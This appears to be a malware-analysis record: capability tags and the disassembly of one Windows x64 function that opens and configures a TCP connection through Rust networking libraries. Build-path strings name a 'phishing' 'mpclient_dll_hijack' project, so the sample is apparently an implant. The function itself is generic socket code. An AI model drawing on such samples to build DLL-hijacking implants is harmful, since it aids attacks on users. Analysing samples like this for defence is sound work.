Function at 0x14007c870
Capabilities:
Resolve function by parsing pe exports
Set socket configuration

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x358
mov rbx, rdx
mov qword [rsp + 0x48], rcx
movzx eax, byte [rdx + 0x378]
test eax, eax
mov qword [rsp + 0x188], r8
je 0x14007c8c4
cmp eax, 3
jne case.default.0x14007c8c2
mov r15, r8
lea r12, [rbx + 0x1f0]
movzx eax, byte [rbx + 0x280]
lea rcx, [0x14007d3c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rcx
and qword [rbx + 0x20], 0
mov qword [rbx + 0x40], rax
jmp 0x14007c8f1
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain_Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_util_src_lib.rs
lea r8, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_hyper_src_client_connect_http.rs
jmp 0x14007d3b1
mov rcx, qword [rax + 0x10]
cmp rcx, qword [rax + 0x18]
je 0x14007d1e7
lea rdx, [rcx + 0x20]
mov qword [rax + 0x10], rdx
movzx eax, word [rcx]
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rsp + 0x1be], xmm0
movups xmm0, xmmword [rcx + 2]
movaps xmmword [rsp + 0x1b0], xmm0
cmp ax, 2
je 0x14007d1e7
mov word [rbx + 0x48], ax
movaps xmm0, xmmword [rsp + 0x1b0]
movups xmmword [rbx + 0x4a], xmm0
movups xmm0, xmmword [rsp + 0x1be]
movups xmmword [rbx + 0x58], xmm0
mov rcx, qword [rbx + 0x10]
mov r13, qword [rbx + 0x18]
mov r15, qword [rcx + 0x20]
mov r14d, dword [rcx + 0x28]
test ax, ax
mov eax, 2
mov esi, 0x17
cmove esi, eax
mov rax, qword [0x1401f7040]
cmp rax, 3
jne 0x14007d23b
mov dword [rsp + 0x28], 0x81
and dword [rsp + 0x20], 0
mov ecx, esi
mov edx, 1
mov r8d, 6
xor r9d, r9d
call sub.ws2_32.dll_WSASocketW
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14007c9dd
call fcn.140043ea3
lea rdx, str.tcp_open_errortcp_set_nonblocking_errortcp_bind_local_error
lea rsi, [rsp + 0xd0]
mov r8d, 0xe
mov rcx, rsi
mov r9, rax
call fcn.14003c438
mov r12, qword [rsi]
test r12, r12
jne 0x14007d386
mov rsi, qword [rsp + 0xd8]
lea rdi, [rsp + 0xa8]
mov dword [rdi], 1
mov rcx, rsi
mov edx, 0x8004667e
mov r8, rdi
call sub.ws2_32.dll_ioctlsocket
xor edx, edx
cmp eax, 0xffffffff
jne 0x14007ca0a
call fcn.140043ea3
mov rdx, rax
lea r8, [0x1401a1dce]
lea r12, [rsp + 0xd0]
mov r9d, 0x19
mov rcx, r12
call fcn.14003c5f1
mov r12, qword [r12]
test r12, r12
jne 0x14007d28f
mov ebp, dword [r13 + 0x48]
cmp ebp, 0x3b9aca00
je 0x14007cb06
mov r12, qword [r13 + 0x40]
mov rcx, rsi
mov edx, 8
mov r8d, 1
call fcn.14009b68b
test rax, rax
je 0x14007ca75
lea rcx, [rsp + 0xd0]
mov qword [rcx], rax
call fcn.1400361e6
jmp 0x14007cb06
mov ecx, 0x3e8
mov rax, r12
mul rcx
mov rcx, rax
mov r8, rdx
xor r9d, r9d
mov r10d, 0xf4240
mov eax, ebp
xor edx, edx
div r10d
add rax, rcx
adc r8, 0
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
neg r8
sbb r9d, r9d
or r9d, eax
lea r8, [rsp + 0xd0]
mov dword [r8], 1
mov dword [r8 + 4], r9d
and dword [r8 + 8], 0
and dword [rsp + 0xa8], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and dword [rsp + 0x28], 0
mov qword [rsp + 0x30], rdi
and qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 0x98000004
mov r9d, 0xc
call sub.ws2_32.dll_WSAIoctl
cmp eax, 0xffffffff
je 0x14007d1dd
cmp word [rbx + 0x48], 0
je 0x14007cb79
cmp byte [r13 + 0x56], 0
je 0x14007cbcc
movss xmm0, dword [r13 + 0x57]
movss xmm1, dword [r13 + 0x63]
movsd xmm2, qword [r13 + 0x5b]
movlhps xmm0, xmm2
movlhps xmm2, xmm1
shufps xmm0, xmm2, 0x98
xorps xmm1, xmm1
lea rdx, [rsp + 0xd0]
movups xmmword [rdx + 0x2c], xmm1
movups xmmword [rdx + 0x3c], xmm1
movups xmmword [rdx + 0x4c], xmm1
movups xmmword [rdx + 0x5c], xmm1
movups xmmword [rdx + 0x6c], xmm1
movabs rax, 0x1c00000000
mov qword [rdx + 0x7c], rax
movups xmmword [rdx + 0x1c], xmm1
movups xmmword [rdx + 8], xmm0
and dword [rdx + 0x18], 0
mov qword [rdx], 0x17
jmp 0x14007cd03
cmp byte [r13 + 0x51], 0
je 0x14007cc70
mov eax, dword [r13 + 0x52]
xorps xmm0, xmm0
lea rdx, [rsp + 0xd0]
movups xmmword [rdx + 0x68], xmm0
movups xmmword [rdx + 0x58], xmm0
movups xmmword [rdx + 0x48], xmm0
movups xmmword [rdx + 0x38], xmm0
movups xmmword [rdx + 0x28], xmm0
movups xmmword [rdx + 0x18], xmm0
and qword [rdx + 0x78], 0
movups xmmword [rdx + 8], xmm0
mov dword [rdx], 2
mov dword [rdx + 4], eax
mov dword [rdx + 0x80], 0x10
jmp 0x14007cd03
xorps xmm0, xmm0
movups xmmword [rsp + 0x74], xmm0
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x60], ax
movups xmm1, xmmword [rsp + 0x72]
movaps xmmword [rsp + 0x50], xmm1
mov rax, qword [rsp + 0x52]
mov ecx, dword [rsp + 0x5a]
movzx edx, word [rsp + 0x5e]
movzx r8d, word [rsp + 0x60]
movups xmmword [rsp + 0xec], xmm0
movups xmmword [rsp + 0xfc], xmm0
movups xmmword [rsp + 0x10c], xmm0
movups xmmword [rsp + 0x11c], xmm0
movups xmmword [rsp + 0x12c], xmm0
and dword [rsp + 0x14c], 0
movups xmmword [rsp + 0x13c], xmm0
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0xe0], ecx
mov word [rsp + 0xe4], dx
mov word [rsp + 0xe6], r8w
and dword [rsp + 0xe8], 0
mov r8d, 0x1c
xor eax, eax
mov r9w, 0x17
xor ecx, ecx
jmp 0x14007cce9
and qword [rsp + 0x70], 0
movups xmm0, xmmword [rsp + 0x72]
movaps xmmword [rsp + 0x50], xmm0
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x60], ax
movzx eax, word [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
rol ax, 8
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
and qword [rsp + 0x148], 0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov r8d, 0x10
mov r9w, 2
lea rdx, [rsp + 0xd0]
mov word [rdx], r9w
mov word [rdx + 2], ax
mov dword [rdx + 4], ecx
mov dword [rdx + 0x80], r8d
mov rcx, rsi
call fcn.14009b667
lea r8, [0x1401a1de7]
lea rdi, [rsp + 0xa8]
mov r9d, 0x14
mov rcx, rdi
mov rdx, rax
call fcn.14003c5f1
mov r12, qword [rdi]
test r12, r12
jne 0x14007d2a1
cmp byte [r13 + 0x68], 0
je 0x14007cd66
mov rcx, rsi
mov edx, 4
mov r8d, 1
call fcn.14009b68b
test rax, rax
je 0x14007cd66
lea rcx, [rsp + 0xd0]
mov qword [rcx], rax
call fcn.1400361e6
cmp qword [r13], 0
je 0x14007cda6
mov rax, qword [r13 + 8]
mov rcx, rax
shr rcx, 0x20
xor r8d, r8d
neg rcx
sbb r8d, r8d
or r8d, eax
mov rcx, rsi
mov edx, 0x1001
call fcn.14009b68b
test rax, rax
je 0x14007cda6
lea rcx, [rsp + 0xd0]
mov qword [rcx], rax
call fcn.1400361e6
cmp qword [r13 + 0x10], 0
je 0x14007cde6
mov rax, qword [r13 + 0x18]
mov rcx, rax
shr rcx, 0x20
xor r8d, r8d
neg rcx
sbb r8d, r8d
or r8d, eax
mov rcx, rsi
mov edx, 0x1002
call fcn.14009b68b
test rax, rax
je 0x14007cde6
lea rcx, [rsp + 0xd0]
mov qword [rcx], rax
call fcn.1400361e6
movups xmm0, xmmword [rbx + 0x48]
movups xmm1, xmmword [rbx + 0x58]
movaps xmmword [rsp + 0x90], xmm1
lea r13, [rbx + 0x68]
mov qword [rbx + 0x68], r15
mov dword [rbx + 0x70], r14d
movups xmmword [rbx + 0x78], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0x88], xmm0
mov qword [rbx + 0x98], rsi
lea rdi, [rbx + 0xa0]
lea rsi, [rsp + 0x1d0]
mov ecx, 0xa
rep movsq qword [rdi], qword [rsi]
xor eax, eax
mov byte [rbx + 0xf0], al
mov ecx, dword [rsp + 0x159]
mov edx, dword [rsp + 0x15c]
mov dword [rbx + 0xf1], ecx
mov dword [rbx + 0xf4], edx
mov byte [rbx + 0xf8], al
lea rcx, [rbx + 0xf9]
lea rdx, [rsp + 0x260]
mov r8d, 0xf7
call sub.msvcrt.dll_memcpy
lea r12, [rbx + 0x1f0]
mov r8d, 0x188
mov rcx, r12
mov rdx, r13
call sub.msvcrt.dll_memcpy
movzx eax, byte [rbx + 0x280]
lea rcx, [0x14007d3c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r15, qword [rsp + 0x188]
jmp rax
mov ebp, dword [rbx + 0x1f8]
cmp ebp, 0x3b9aca00
jne 0x14007cf29
lea rsi, [rbx + 0x200]
lea rdi, [rbx + 0x288]
mov ecx, 0x10
rep movsq qword [rdi], qword [rsi]
lea rsi, [rbx + 0x288]
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, rsi
mov r8, r15
call fcn.14007d5f2
mov r14, qword [rdi]
cmp r14, 3
je 0x14007d274
mov rdi, qword [rsp + 0x268]
movups xmm0, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x60], rax
mov rcx, rsi
call fcn.14007d599
jmp 0x14007d117
mov r13, qword [rbx + 0x1f0]
lea rsi, [rbx + 0x200]
lea rdi, [rsp + 0xd0]
mov ecx, 0x10
rep movsq qword [rdi], qword [rsi]
call fcn.1400c31f0
mov rcx, rax
mov r8, r13
mov r9d, ebp
call fcn.1400c3590
cmp edx, 0x3b9aca00
jne 0x14007cf71
lea rcx, [rsp + 0x1d0]
call fcn.1400d0ca9
jmp 0x14007cf8b
mov r8d, edx
lea r9, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_hyper_src_client_connect_http.rs
lea rcx, [rsp + 0x1d0]
mov rdx, rax
call fcn.1400d0b6f
lea rdx, [rsp + 0x260]
lea rsi, [rsp + 0x1d0]
mov ecx, 0xe
mov rdi, rdx
rep movsq qword [rdi], qword [rsi]
lea rdi, [rsp + 0x2d0]
lea rsi, [rsp + 0xd0]
mov ecx, 0x10
rep movsq qword [rdi], qword [rsi]
lea rcx, [rbx + 0x288]
mov r8d, 0xf0
call sub.msvcrt.dll_memcpy
lea rsi, [rbx + 0x288]
lea r13, [rbx + 0x2f8]
call fcn.1400ca513
mov edi, eax
lea rbp, [rsp + 0xd0]
mov rcx, rbp
mov rdx, r13
mov r8, r15
call fcn.14007d5f2
mov r14, qword [rbp]
cmp r14, 3
jne 0x14007d071
cmp dil, 2
setne bpl
test dil, 1
sete dil
call fcn.1400ca513
test bpl, dil
jne 0x14007d0bd
cmp al, 2
je 0x14007d0bd
and al, 1
jne 0x14007d0bd
xor ecx, ecx
call fcn.1400c99b4
mov dil, 2
test rax, rax
je 0x14007d04e
mov dil, byte [rax + 0x4c]
mov bpl, byte [rax + 0x4d]
mov byte [rax + 0x4c], 0
mov rcx, rsi
mov rdx, r15
call fcn.1400cd798
mov r13d, eax
mov ecx, edi
mov edx, ebp
call fcn.14007e17c
test r13b, r13b
je 0x14007d0cc
mov al, 3
jmp 0x14007d276
mov rdi, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xf0]
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x80], rax
mov rcx, rsi
call fcn.14007d5b9
cmp r14d, 2
je 0x14007d111
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x14007d117
mov rcx, rsi
mov rdx, r15
call fcn.1400cd798
test al, al
jne 0x14007d06a
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x80], rax
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x70], xmm0
mov rcx, rsi
call fcn.14007d5b9
mov edx, 1
xor ecx, ecx
call fcn.14004a0b5
lea r8, [0x1401b3558]
mov cl, 0x16
mov rdx, rax
call fcn.1400c0690
mov rdi, rax
mov r14d, 2
cmp r14d, 2
jne 0x14007d13c
lea rcx, [rsp + 0xb0]
lea rdx, [0x1401b600b]
mov r8d, 0x11
mov r9, rdi
call fcn.14003c438
jmp 0x14007d15e
mov qword [rsp + 0xb0], rdi
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0xb8], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xc8]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rcx
mov qword [rsp + 0x170], rdx
mov qword [rsp + 0x178], r8
mov byte [rbx + 0x280], 1
mov rcx, r12
call fcn.14007d557
cmp r14d, 2
jne 0x14007d212
lea rcx, [rbx + 0x20]
call fcn.14007d58e
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movups xmmword [rbx + 0x30], xmm1
movups xmmword [rbx + 0x20], xmm0
mov rax, qword [rbx + 0x40]
jmp 0x14007c8f1
call fcn.140043ea3
jmp 0x14007ca60
cmp qword [rbx + 0x20], 0
je 0x14007d313
lea rax, [rbx + 0x20]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
jmp 0x14007d344
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
lea rax, [rsp + 0x240]
movaps xmmword [rax + 0x10], xmm1
movaps xmmword [rax], xmm0
mov rsi, qword [rsp + 0x48]
jmp 0x14007d2f1
lea rax, [rsp + 0x70]
mov byte [rax], 1
lea r8, [rsp + 0xa8]
mov qword [r8], rax
lea rax, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_socket2_src_sys_windows.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401f7040]
lea r9, [0x1401ba288]
xor edx, edx
call fcn.14009c550
jmp 0x14007c979
mov al, 4
mov byte [rbx + 0x280], al
mov rax, qword [rsp + 0x48]
mov qword [rax], 3
mov al, 3
jmp 0x14007d36c
mov rdi, qword [rsp + 0xd8]
movups xmm0, xmmword [rsp + 0xe0]
jmp 0x14007d2b1
mov rdi, qword [rsp + 0xb0]
movups xmm0, xmmword [rsp + 0xb8]
movaps xmmword [rsp + 0x90], xmm0
mov rcx, rsi
call fcn.1400d8c9c
mov rsi, qword [rsp + 0x48]
lea rax, [rbx + 0x78]
mov qword [rbx + 0x78], r12
mov qword [rbx + 0x80], rdi
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx + 0x88], xmm0
mov dword [rbx + 0x70], 0x3b9aca01
mov r14d, 2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
lea rcx, [rbx + 0x20]
call fcn.14007d58e
jmp 0x14007d34f
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, 0x13
mov cl, 7
call fcn.14009b024
lea rdx, [0x1401b600b]
lea rcx, [rsp + 0x190]
mov r8d, 0x11
mov r9, rax
call fcn.14003c438
mov r14d, 2
mov rsi, qword [rsp + 0x48]
mov qword [rsi], r14
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movups xmmword [rsi + 8], xmm0
movups xmmword [rsi + 0x18], xmm1
mov al, 1
mov byte [rbx + 0x378], al
add rsp, 0x358
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rdi, qword [rsp + 0xd8]
movups xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14007d2c1
lea rcx, str._async_fn__resumed_after_completionunable_to_find_any_user_specified_roots_in_the_final_cert_chain_Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_tokio_util_src_lib.rs
lea r8, str._Users_halo_Desktop_code_phishing_mpclient_dll_hijack_only_cs_vendor_hyper_src_client_connect_http.rs
mov edx, 0x23
call fcn.140013970
ud2